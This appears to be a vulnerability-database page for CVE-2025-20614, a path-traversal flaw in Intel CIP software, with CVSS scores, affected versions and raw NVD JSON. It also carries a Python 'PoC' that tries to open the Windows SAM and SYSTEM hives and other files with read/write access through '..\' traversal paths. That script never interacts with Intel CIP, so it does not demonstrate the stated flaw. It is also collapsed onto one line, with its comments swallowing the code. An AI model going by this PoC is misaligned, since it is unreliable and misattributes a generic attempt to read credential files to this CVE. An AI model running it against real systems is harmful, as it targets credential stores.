Security Vulnerability Report
中文
CVE-2025-20614 CVSS 6.7 MEDIUM

CVE-2025-20614

Published: 2025-11-11 17:15:40
Last Modified: 2025-11-26 15:18:55

Description

External control of file name or path for some Intel(R) CIP software before version WIN_DCA_2.4.0.11001 within Ring 3: User Applications may allow an escalation of privilege. Unprivileged software adversary with a privileged user combined with a low complexity attack may enable escalation of privilege. This result may potentially occur via local access when attack requirements are present without special internal knowledge and requires no user interaction. The potential vulnerability may impact the confidentiality (high), integrity (low) and availability (none) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts.

CVSS Details

CVSS Score
6.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:intel:computing_improvement_program:*:*:*:*:*:*:*:* - VULNERABLE
Intel(R) CIP software < WIN_DCA_2.4.0.11001

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-20614 PoC - Intel CIP Path Traversal # This PoC demonstrates the path traversal vulnerability in Intel CIP software # Note: This is for educational and authorized testing purposes only import os import sys import ctypes from ctypes import wintypes # Windows API structures class SECURITY_ATTRIBUTES(ctypes.Structure): _fields_ = [("nLength", wintypes.DWORD), ("lpSecurityDescriptor", wintypes.LPVOID), ("bInheritHandle", wintypes.BOOL)] # Define necessary Windows APIs kernel32 = ctypes.windll.kernel32 CreateFileW = kernel32.CreateFileW CreateFileW.argtypes = [wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD, ctypes.POINTER(SECURITY_ATTRIBUTES), wintypes.DWORD, wintypes.DWORD, wintypes.HANDLE] CreateFileW.restype = wintypes.HANDLE GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 FILE_SHARE_READ = 0x00000001 FILE_SHARE_WRITE = 0x00000002 OPEN_EXISTING = 3 FILE_ATTRIBUTE_NORMAL = 0x00000080 def exploit_path_traversal(): """ Simulates path traversal exploitation in Intel CIP software Target: Access protected files via path traversal sequences """ print("[*] CVE-2025-20614 Path Traversal PoC") print("[*] Target: Intel CIP software < WIN_DCA_2.4.0.11001") # Malicious path with traversal sequence # Attack technique: Use "../" sequences to escape restricted directory traversal_paths = [ "..\\..\\..\\Windows\\System32\\config\\SAM", "..\\..\\..\\Windows\\System32\\config\\SYSTEM", "..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts", "..\\..\\..\\ProgramData\\Intel\\CIP\\config\\privileged.dat" ] for path in traversal_paths: try: # Attempt to open file via path traversal hFile = CreateFileW( path, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, None, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, None ) if hFile != -1: print(f"[+] Successfully accessed: {path}") # In real attack, this could lead to privilege escalation # by modifying system files or reading sensitive data kernel32.CloseHandle(hFile) else: print(f"[-] Access denied: {path}") except Exception as e: print(f"[!] Error accessing {path}: {str(e)}") print("\n[*] PoC demonstrates path traversal vulnerability") print("[*] Successful access to protected files enables privilege escalation") if __name__ == "__main__": print("CVE-2025-20614 Intel CIP Path Traversal Vulnerability") print("=" * 60) exploit_path_traversal()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-20614", "sourceIdentifier": "[email protected]", "published": "2025-11-11T17:15:40.493", "lastModified": "2025-11-26T15:18:55.357", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "External control of file name or path for some Intel(R) CIP software before version WIN_DCA_2.4.0.11001 within Ring 3: User Applications may allow an escalation of privilege. Unprivileged software adversary with a privileged user combined with a low complexity attack may enable escalation of privilege. This result may potentially occur via local access when attack requirements are present without special internal knowledge and requires no user interaction. The potential vulnerability may impact the confidentiality (high), integrity (low) and availability (none) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:H/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.6, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.5, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-73"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:intel:computing_improvement_program:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.4.11001", "matchCriteriaId": "3D1985FF-2EEE-491C-8E9D-93DA3D9B984C"}]}]}], "references": [{"url": "https://intel.com/content/www/us/en/security-center/advisory/intel-sa-01328.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}